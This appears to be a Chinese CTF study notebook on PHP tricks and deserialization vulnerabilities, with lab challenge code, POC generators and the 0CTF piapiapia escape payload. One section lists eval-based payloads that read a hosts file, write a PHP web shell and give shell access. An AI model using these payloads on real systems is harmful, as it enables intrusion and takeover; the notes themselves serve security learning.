  • substr() - 返回字符串的子串
  • strcmp() - 比较两个字符串的大小
  • strlen()
  • ltrim - 删除字符串开头的空白字符(或其他字符)
ltrim(string $str, string $character_mask = ?): string

str:输入的字符串。

character_mask:通过参数 character_mask,你也可以指定想要删除的字符,简单地列出你想要删除的所有字符即可。

  • implode() - 把数组元素组合为一个字符串

  • PHP函数

    • header()
    • header_list()
    • header_sent()
    • setcookie()
    • setrawcookie()

0x07 关于状态码304

https://zhidao.baidu.com/question/1372549398546810659.html

0x08 正则表达式

https://www.cnblogs.com/hellohell/p/5718319.html

<?php
echo "waht the hell?";
$flag = "*******"; 
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) 
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}
?>

靶场地址:http://sz6m1880.ia.aqlab.cn/Web-Security/CTF/3/web19/index.php

解析writeup https://bbs.zkaq.cn/t/4152.html

关于**[:graph:]** https://www.cnblogs.com/Jordandan/p/11211729.html

或者 https://www.runoob.com/linux/linux-comm-tr.html

IP 地址的十进制表示可以绕过对.的过滤

https://www.whois365.com/cn/tools/decimal-ip/encode/

  • 过滤数字字母

通过异或

https://ctf-wiki.org/web/php/php/

  • 正则表达式惰性匹配(.*?)
1、. 匹配除换行符“\n”外的任意字符;
2、*表示匹配前一个字符0次或无限次;
3、?表示前边字符的0次或1次重复
4、+或*后跟?表示非贪婪匹配,即尽可能少的匹配,如*重复任意次,但尽可能少重复;
5、 .*?表示匹配任意数量的重复,但是在能使整个匹配成功的前提下使用最少的重复。
如:a.*?b匹配最短的,以a开始,以b结束的字符串。如果把它应用于aabab的话,它会匹配aab和ab。而贪婪匹配a.*b 则会匹配整个字符串aabab
  • 关于re.S

https://blog.csdn.net/weixin_42781180/article/details/81302806

  • 关于:的使用

https://blog.csdn.net/hxkjnet360/article/details/17063311

  • 常用匹配

  • 匹配邮箱

[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z0-9]+
^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$
  • 匹配电话
^\d{11}$
1[3,5,8]{1}[0-9]{1}[0-9]{8}|0[0-9]{2,3}-[0-9]{7,8}(-[0-9]{1,4})?
  • 匹配URL
<a href=([\"\'])(http:\/\/([\w\d\.])+)[^>]*>(.*?)<\/a>
  • 关于[](){}

https://www.cnblogs.com/richiewlq/p/7307581.html

0x09 PHP之=>

一、=>,->的意思:

->是对象执行方法或取得属性用的。

=>给数组声明键值对的时候赋值用的

二、用法

1、=> 的用法
数组中用于声明数组的 key 和 value之间的关系
例如:
$a = array(
'0' => '1',
'2' => '4',
);

echo $a['0'];
echo $a['2'];

2、-> 的用法
类中用于引用`类实例`的`方法`和`属性`
例如:
class Test{
	public $a;
    public function __construct(){
    $this->a = 'xx';
    }
    var $var = 0;
    function add(){
    	return $this->var++;
	}
}

$a = new Test; //实例化对象名称
echo $a->add();
echo $a->var;

0x10 进制表示

二进制:(前缀:0b/0B)(后缀:b/B)
八进制:(前缀:0)(后缀:o/O)
十进制:(前缀:无,可加+/-)(后缀d/D)
十六进制:(前缀:0x/0X)(后缀:h/H)

0x11 正则过滤Fuzz脚本

原题 writeup

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

Fuzz脚本

<?php
    for($i = 0; $i<129; $i++){
        $num=chr($i).'36';
        if(trim($num)!=='36' && is_numeric($num) && $num!=='36' && filter($num)=='36'){
        echo urlencode(chr($i))."\n";
        }
    }
    function filter($num){
        $num=str_replace("0x","1",$num);
        $num=str_replace("0","1",$num);
        $num=str_replace(".","1",$num);
        $num=str_replace("e","1",$num);
        $num=str_replace("+","1",$num);
        return $num;
    }
?>

num通过is_numeric的检测,并且不等于36,去空后依然不等于36,经过过滤方法后依然等于36

得到%0C,从而%0C36是答案

至于为啥是这个我也百思不得其解

0x12 反序列化(PHP)

看不懂就把每一部分的功能写上

存在主要原因:(必要但不充分)

  • unserialize()函数可控
  • 存在魔法函数

知识补充

博客写的不咋的 miyimiyi.xyz

深度剖析PHP序列化和反序列化

PHP反序列化漏洞

PHP 序列化(serialize)格式详解

Magic function

  • __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的
  • __destruct():析构函数,类似于C++,会在某个对象的所有引用都被删除或者当对象被显示销毁($obj = null;)时执行,当对象被销毁时会自动调用。默认情况下是在程序执行结束时自动调用。
  • __wakeup():unserialize()反序列化前会检查是否存在,存在则会优先调用
  • __toString():当一个对象被当作字符串时(echo)就会调用
  • __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候会调用

更多请到博客中查看

关于php 面向对象中构造函数__contruct()和析构函数__destruct()

建议看一下PHP面向对象——构造函数、析构函数

? php 面向对象中构造函数__contruct()和析构函数__destruct()

我们在创建和销毁对象时需要执行一些任务,例如,在创建对象时给属性赋值,在对象销毁时关闭数据库连接,就需要构造函数析构函数。构造函数是实例化类时调用该函数,因此此函数在实例化类时做一些初始化工作。__destruct()析构函数当php脚本不再与对象相关时,析构函数将被调用,会自动回收与销毁对象,一般情况下不需要显式的去销毁对象。构造函数可以接受参数,能够在创建对象时赋值给对象属性。析构函数是在销毁对象时,自动调用,不能显示的调用,析构函数不能带参数

在以下几种情况下可能会调用析构函数(但不一定):

  • PHP页面加载完毕之后;
  • unset()对象;
  • 变量引用指向别的对象或值时,或赋值为null;
$test = new sercet('flag.php');			//调用构造函数
echo "1"."<br />";
$test = serialize($test)."<br />";		//序列化对象,$test本来是对象的一个引用,现在指向了字符串,就是第三种情况,这里就会调用析构函数
echo $test;  
$test = urlencode($test);
echo $test;

输出如下:

_construct执行
1
__destruct执行
O:6:"sercet":1:{s:12:"sercetfile";s:8:"flag.php";}
O%3A6%3A%22sercet%22%3A1%3A%7Bs%3A12%3A%22%00sercet%00file%22%3Bs%3A8%3A%22flag.php%22%3B%7D%3Cbr+%2F%3E

**序列化对于不同类型得到的字符串格式**为:

  • String : s:size:value;
  • Integer : i:value;
  • Boolean : b:value;(当boolean型数据为false时,为0,否则为1)
  • Null : N;
  • Array : a:size:{key definition;value definition;(repeated per element)}
  • Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

不同类型属性序列化后属性名有不同的格式

属性值都一样

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

<?php 
class test{
    pblic $name = 'xiaohua';  		//公有
    private $address = 'shanxi';  	//私有
    protected $age = '21';			//保护
}

$test1 = new test();
$object = serialize($test1);
print_r($object);
?>

页面显示的结果是:

O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:13:"testaddress";s:6:"shanxi";s:6:"*age";s:2:"21";}

可以发现, a d d r e s s 和 address和 addressage的实际长度与标识的不一样。而查看页面源代码,发现有无法打印的字符。

我们直接在页面复制,有些字符是复制不了的,所以对于一串序列化后的字符串,最好的办法就是先进行一次URL编码urlencode()再传递(见题6),这样的话其中的不可打印字符也能够选中。或者按照上面的格式加上%00或者%00*%00,但是在没有其他编码(如Base64)的情况下,我还是建议通过PHP直接URL编码而不是自己手动复制修改后编码

PHP代码在线运行网站

https://tool.lu/coderunner/

https://www.dooccn.com/php/

PHP在线反序列化工具

https://1024tools.com/unserialize

http://www.gjw123.com/tools-phpserialize

题一:

这里也涉及一个类和函数的调用

地址 http://weuwesa20.lab.aqlab.cn/

<?php
error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

$ppp = unserialize($_GET["data"]);
?>
<!-- GET:  ?source=   --> 2021-11-17 12:05:59

先访问一下flag.php,发现文件存在,那我们读取一下flag.php,这里我们要通过PHP来序列化我们的代码

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'flag.php';
        $this->b = "highlight_file";
    }
}
$abc=new HelloPhp;
echo serialize($abc);

题二:结合伪协议

这道题中的反序列化也很有意思

https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

解题思路见 伪协议利用之 file_get_contents()

题三: __wakeup()绕开

强烈推荐 [漏洞利用] CVE-2016-7124 漏洞复现

目录结构

  • index.php 内容如下
  • flag.php 内容随意

index.php

<meta charset="utf-8">
<?php
class SoFun{
    protected $file = 'index.php';
	public function __construct($file){  //new一个对象时可以传参赋值来给对象的file属性
        $this->file=$file;
    }
    function __destruct(){
        //查找file参数中是否存在'\\'和'/',存在就显示错误
    	if(!empty($this->file)){
            if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false){
                show_source(dirname(__FILE__).'/'.$this->file);
         	}else{
            	die('Wrong filename');
         	}
		}
    }
    function __wakeup(){	//该方法在`__unserialize()`反序列化前执行,但是我们让file的值为flag.php,所以就要绕过这个魔术方法
        $this->file='index.php';
    }
    public function __toString(){
        return '';
    }
}
if(!isset($_GET['file'])){
    show_source('index.php');
}else{
    $file=base64_decode($_GET['file']);
    echo @unserialize($file);
}

SoFun类中的代码复制到PHP在线执行网站里,代码如下,然后创建对象,进行序列化,绕过反序列化时的__wakeup()魔术方法,再进行base64编码

poc.php

<meta charset="utf-8">
<?php
class SoFun{
    protected $file = 'index.php';
	public function __construct($file){ 
        $this->file=$file;
    }
    function __destruct(){
        //查找file参数中是否存在'\\'和'/',存在就显示错误
    	if(!empty($this->file)){
            if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false){
                show_source(dirname(__FILE__).'/'.$this->file);
         	}else{
            	die('Wrong filename');
         	}
		}
    }
    function __wakeup(){	//反序列化前执行
		echo "执行了wakeup";
        if ($this->file != 'index.php'){
            $this->file = 'index.php';
        }
    }
    public function __toString(){
        return '';
    }
}
if(!isset($_GET['file'])){
    show_source('index.php');
}else{
    $file=base64_decode($_GET['file']);
    echo @unserialize($file);
}
$test = new SoFun('flag.php');	//创建对象
$test = serialize($test);		//序列化
$test = str_replace(':1:', ':2:',$test);	//绕过
# echo $test  => O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";} 我们如果自己进行base64编码,是`Tzo1OiJTb0Z1biI6Mjp7czo3OiIqZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==`,不会成功反序列化
echo(base64_encode($test));		//通过PHP进行base64编码
?>

得到结果:

Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

通过file传参:

http://172.16.128.2/PHP/serialize/game1/index.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

绕过__wakeup()魔术方法:

影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10

该方法在__unserialize()反序列化前执行

CVE-2016-7124:当序列化字符串中表示对象属性的个数的值大于真实的属性个数时会跳过__wakeup()的执行

如:

对象序列化后的字符串(有些不可打印的字符是显示不出来的)

O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}

构造绕过__wakeup():

O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}

特别注意

得到的序列化后的字符可以像下面一样用PHP函数str_replace去操作字符串,自己修改可能反序列化对象失败,因为属性是protected类型的,序列化后格式和public不一样。

$var = new Demo("fl4g.php");		//构建对象
$var = serialize($var);				//序列化
$var = str_replace('O:4', 'O:+4',$var);		//修改其中的字符,如果有preg_match('/[oc]:\d+:/i'
$var = str_replace(':1:', ':2:',$var);		//替换其中的字符
echo(base64_encode($var));

自己修改要改成这样子,因为属性是private,需要在类名前后添加%00

O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";}

题四

poc

<?php
class Flag{
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("good");
        }
    }
}    
//把public $file 换成 public "flag.php"
$test = new Flag();
echo serialize($test);
?>

或者

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  


$test = new Flag();
$test->file = "flag.php";
echo serialize($test);
?> 

题五:同名函数

利用普通成员方法。除了利用magic function外,当危险代码或漏洞位于类的普通方法中,就不能自动调用了,这时可以寻找相同的函数名,把敏感函数和类联系在一起。

<?php
class chybeta{
    var $test;
    function __construct(){
        $this->test = new ph0en1x();
    }
    function __destruct(){
        $this->test->action();
    }
}    
class ph0en1x{
    function action(){
        echo "ph0en1x";
    }
}
class ph0en2x{
    var $test2;
    function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
//$class6 = new chybeta();
    
?>

new了一个新的chybeta对象后,调用__contruct(),其中又newph0en1x对象。在结束后会调用__destruct(),其中又会调用action(),从而输出ph0en1x

POC

<?php
class chybeta{
    var $test;
    function __construct(){
        $this->test = new ph0en2x();
    }
}
class ph0en2x{
    var $test2 = "phpinfo();";
}
echo serialize(new chybeta());
?>
    
=> O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}

相当于RCE远程代码执行,其中"phpinfo()"可以换为

1.读文件
"var_dump(file_get_contents('c:/windows/system32/drivers/etc/hosts'));"

2.写shell
'var_dump(file_put_contents($_POST[1],$_POST[2]));'
//然后post数据 1=shell.php&2=<?=@eval($_REQUEST[miyi]);?>
    
3.直接获取shell
'@eval($_REQUEST[miyi]);'
 //蚁剑连接提交test以后的链接
    
4.获得当前文件的绝对路径
'print(__FILE__);'

题六:URL编码

<?php
// class.php
$flag = "flg{miyi_h0use_cn}";
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
    
<?php
//index.php
include 'class.php';
$select = $_GET['select'];
$res=@unserialize($select);
# var_dump($res);
?>

POC1

$test =new Name('admin',100);
$test = serialize($test);
# echo $test."<hr />";
# $test1 = urlencode($test);
# echo $test1."<hr />";		//只有URL编码后才能正常的反序列化
$test = str_replace(':2:',':3:',$test);
# echo $test."<hr />";
$test = urlencode($test);
echo $test;

# 下面是所有结果,作为对比,最后一条是POC
=> 
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

URL编码后,首先我们这边的浏览器会进行二次编码,服务器中的容器会进行一次解码,同时$_GET[]也会进行一次解码。参考Web容器自动对HTTP请求中参数进行URLDecode处理

注意

$_GET里的变量全都会自动进行urldecode

$_POST里的变量只有Content-Type: application/x-www-form-urlencoded下会自动进行urldecode

所以当传入的序列化后的字符串反序列化失败时,可以尝试进行一次URL编码

poc2

自己修改,注意两个属性都是protected,所以是在类名前后加%00

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

题七 反序列化字符逃逸(字符变多)

靶场源码 0ctf_2016_unserialize

或者这个在线靶场 https://buuoj.cn/challenges#%5B0CTF%202016%5Dpiapiapia

dirsearch爆破出www.zip

python3 dirsearch.py -u http://172.16.128.1:8302/ -e *
python3 dirsearch.py -u http://172.16.128.1:8302/ -e zip,php

//添加延时参数提高扫描效率
python3 dirsearch.py -u http://172.16.128.1:8302/ -e* -s 1

也可以使用dirmap

python dirmap.py -i http://172.16.128.1:8302/ -lcf

目录结构

E:
│  index.php		首页
|  register.php		注册
│  update.php		补充个人信息
│  profile.php		个人信息展示
│  class.php		提供user类和mysql类,类中有函数,包括判断、注册、登录、展示、更新、连接、选择、插入、过滤等函数
│  config.php		数据库连接配置
│
├─static
│      bootstrap.min.css
│      bootstrap.min.js
│      jquery.min.js
│      piapiapia.gif
│
└─upload

一开始接触这种文件夹形式的大量的文件会很头疼呢,无从下手。遇到这种一个文件夹的代码需要审计,先弄懂整个业务流程以及每个页面每个函数的作用。

index.php

<?php
	require_once('class.php');	
	# 包含了class.php文件,其中class.php最后
/*
session_start();				session_start的作用是开启$_SESION,需要在$_SESION使用之前调用。PHP $_SESION 变量用于存储关于用户会话(session)的信息。
$user = new user();			创建了user对象
$user->connect($config);	调用了user对象的connect方法
*/
	if($_SESSION['username']) {
		# 如果设置了PHPSESSION,就跳到展示信息的页面,否则停留在登录页面
		header('Location: profile.php');
		exit;
	}																			
	if($_POST['username'] && $_POST['password']) {
	# 登录
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
		# 对输入的用户名进行过滤,用户名长度只能在[3,16]之间
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
		# 对密码进行过滤,密码长度在[3,16]之间
			die('Invalid password');

		if($user->login($username, $password)) {
		# 如果连接数据库成功,返回True
			$_SESSION['username'] = $username;
			# 将PHPSESSION的username属性设置为$username变量的值
			header('Location: profile.php');
			# 跳转到展示属性的页面
			exit;	
		}
		else {
		# 如果数据库连接不成功,就终止
			die('Invalid user name or password');
		}
	}
	else {
?>

<html>登录的HTML页面</html>
            
<?php
    }            
?>

class.php

<?php
require('config.php');
# 包含配置文件

class user extends mysql{
# 继承mysql类,关于extends : https://www.php.cn/php-weizijiaocheng-371591.html
	private $table = 'users';
	# 设置 $table变量的值为'users'

	public function is_exists($username) {
		# 判断是否存在这个用户
		$username = parent::filter($username);
		# 调用父类中的fileter函数,过滤$username变量
		$where = "username = '$username'";
		return parent::select($this->table, $where);
		# 在users表中查找有关$username的记录,查找成功返回True
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);
		# 分别过滤 $username和$password
		$key_list = Array('username', 'password');
		# 这是关键词数组
		$value_list = Array($username, md5($password));
		# 值数组
		return parent::insert($this->table, $key_list, $value_list);
		# 插入的是用户名和密码的md5值
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);
		# 登录照样过滤用户名和密码

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
		# 查询用户名在数据库中存在,并且数据库中记录的密码的哈希值等于用户输入的md5值 
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);
		# 过滤用户名
		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
		# $object是一个对象,返回对象的profile属性
	}
	public function update_profile($username, $new_profile) {
	# 更新profile 
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
	# 连接数据库
		$this->link = mysql_connect(
		//关于mysql_connect() : https://www.w3school.com.cn/php/func_mysql_connect.asp			,连接成功返回True,连接失败返回false
			$config['hostname'],
			$config['username'], 
			$config['password']
		);

		mysql_select_db($config['database']);
		# 选择数据库
		mysql_query("SET sql_mode='strict_all_tables'");
		# 关于sql模式 strict_all_tables :http://blog.itpub.net/26736162/viewspace-2149027/  
		return $this->link;
		# 返回的是mysql_connect()的连接结果,True or False
	}

	public function select($table, $where, $ret = '*') {
	# 查找
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
		# 返回的是一个对象。关于mysql_fetch_object : https://dev.mysql.com/doc/apis-php/en/apis-php-function.mysql-fetch-object.html
	}

	public function insert($table, $key_list, $value_list) {
	# 插入
		$key = implode(',', $key_list);
		# 字段名,前面加上`,`
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		# 数据,整体前后加上`'`单引号,每个数据前面加上`','`  如:  `'','values1','values2'` 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
	# 更新数据
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
	# 过滤
		$escape = array('\'', '\\\\');
		# 这个变量是数组,单引号和双反斜线 `'`和'\\'
		$escape = '/' . implode('|', $escape) . '/';
		# 这是设置PHP中正则的格式      /values1|values2/
		$string = preg_replace($escape, '_', $string);
		# 替换,将$string中包含$escape变量的字符替换为`_`
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		# 同上
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
		# 将$string中 'select', 'insert', 'update', 'delete', 'where' 等字段替换为'hacker'
	}
	public function __tostring() {
		return __class__;
	}
}

//下面的注释详见 index.php
session_start();
$user = new user();
$user->connect($config);

/*
MariaDB [challenges]> select * from users \G;

*************************** 1. row ***************************
username: miyi
password: 738b9803436ad1f11210f3ffde5f3ac4
 profile: a:4:{s:5:"phone";s:11:"15536818056";s:5:"email";s:17:"1851259618@qq.com";s:8:"nickname";s:4:"miyi";s:5:"photo";s:39:"upload/d8fa1d7932652d93b0f6f9b8f54a462f";}
1 row in set (0.00 sec)


*/

config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>
    
//这里只是展示给我们一部分信息,提示我们在这个页面可以读到flag

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
	# 判断是否已经登录,如果没有登录的话,
		die('Login First');
		# die() 函数输出一条消息,并退出当前脚本。该函数是 exit() 函数的别名。
	}
	//如果用户已经登录
	$username = $_SESSION['username'];
	# 将$_SESSION中记录的用户名赋值给$username变量
	$profile=$user->show_profile($username);
	# 从数据库中查找$username的$profile属性的值

	if($profile  == null) {
	# 如果这个人的$profile没有设置,就是null,就跳转到这个update页面
		header('Location: update.php');
	}
	else {
	# 如果用户已经补充完整了$profile
		$profile = unserialize($profile);
		# 反序列化这个$profile为一个对象
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
		# $profile['photo']存放的是图片的路径,file_get_content()获取图片的内容,然后通过base64进行编码
			
?>
      
<html>用来展示profile的HTML界面</html>            
<?php
    }            
?>

register.php

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

	//上面是接收参数并进行判断

		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<html>
注册页面的HTML
</html>
<?php
	}
?>

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
	# 判断是否登录
		die('Login First');	
	}

	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
		# 检测电话号码是否是11个数字
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
		# 过滤邮箱
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
		# 用户名只能包含0-9大小写字母和下划线并且长度要小于10
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
		# 限制上传文件的大小
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		# 将文件以原文件名的md5哈希重命名,移动到upload下
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
<html>
手机号码、邮箱、昵称、图片的输入界面
</html>
<?php
	}
?>

理一理思路,首先需要到register.php页面注册,然后跳转到index.php界面登录,登陆后跳转到profile.php这个展示个人信息的页面,这时判断数据库中profile字段是否为NULL,为空则跳转到update.php进行电话号码等其他个人信息的录入。

然后想一想,我们的目的是什么?读取config.php这个文件。如何读取?profile.php页面在展示用户信息的时候,会通过file_get_contents()函数读取$profile['photo']中文件路径内容,我们可以通过这个函数读取config.php文件的内容。那么就需要将$profile['photo']字段的值设置为config.php。这个值是在update.php页面输入的,下面是该页面部分代码

//update.php
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
# 限制上传文件的大小
	die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
# 将文件以原文件名的md5哈希重命名,移动到upload下
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

# 通过后台数据库可以看到序列化后的字符串  a:4:{s:5:"phone";s:11:"15536818056";s:5:"email";s:17:"1851259618@qq.com";s:8:"nickname";s:4:"miyi";s:5:"photo";s:39:"upload/d8fa1d7932652d93b0f6f9b8f54a462f";},输入的文件名`$file[name]`会被改名为MD5值然后将相对路径赋值给`$profile['photo']`。我们如果想要这个字段是config.php的话,通过在页面选择文件上传然后抓包修改photo字段是不可能的,因为会变成上面的那种格式,这时我们就需要通过反序列化饶过

//class.php
public function update_profile($username, $new_profile) {
# 用户输入profile 
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

public function filter($string) {
	# 过滤
		$escape = array('\'', '\\\\');
		# 这个变量是数组,单引号和双反斜线 `'`和'\\'
		$escape = '/' . implode('|', $escape) . '/';
		# 这是设置PHP中正则的格式      /values1|values2/
		$string = preg_replace($escape, '_', $string);
		# 替换,将$string中包含$escape变量的字符替换为`_`
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		# 同上
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
		# 将$string中 'select', 'insert', 'update', 'delete', 'where' 等字段替换为'hacker'
	}

浏览器显示$profile['photo']所指向的文件是在proflie.php页面,图片的路径会被base64编码

//profile.php
$profile = unserialize($profile);
# 反序列化这个$profile为一个对象
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
# $profile['photo']存放的是图片的路径,file_get_content()获取图片的内容,然后通过base64进行编码


<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">

如果我们直接修改上传的文件名为config.php,名字会被修改为MD5哈希,而我们需要的是file_get_content()函数的参数是config.php而不是这一串哈希值。这里,我们就需要通过反序列化字符逃逸.

payload

nickname[] = wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

原理可以通过这篇文章学习,这里篇幅有限,就不说了。只说明一下为什么nickname的值前面要加上34个where。因为用户输入的profile被序列化后在update.php页面被fileter()函数过滤,所以nickname的34个where会转化成34个hacker,现在nickname的长度和原来序列化时nickename的长度相比,就多出了34个字符,反序列化的时候,这34个字符就会变成下一个属性的值,如果我们输入到nickname的值是34个where+";}s:5:"photo";s:10:"config.php";},后面那串字符的长度是34,这样的话,当hacker全部替换where后,后面那串字符就变成了下一个属性的键和值,就是photo记录的值是config.php。至于为什么前面加上}而不是直接;s,好像是因为nickname的值是一个数组,类似

["info"]=>array(1) {
			["name"]=>
			string(1) "a"
		   }

题八:析构函数写入内容

index.php

<?php
highlight_file(__FILE__);
class a{
	var $test='hello';
	
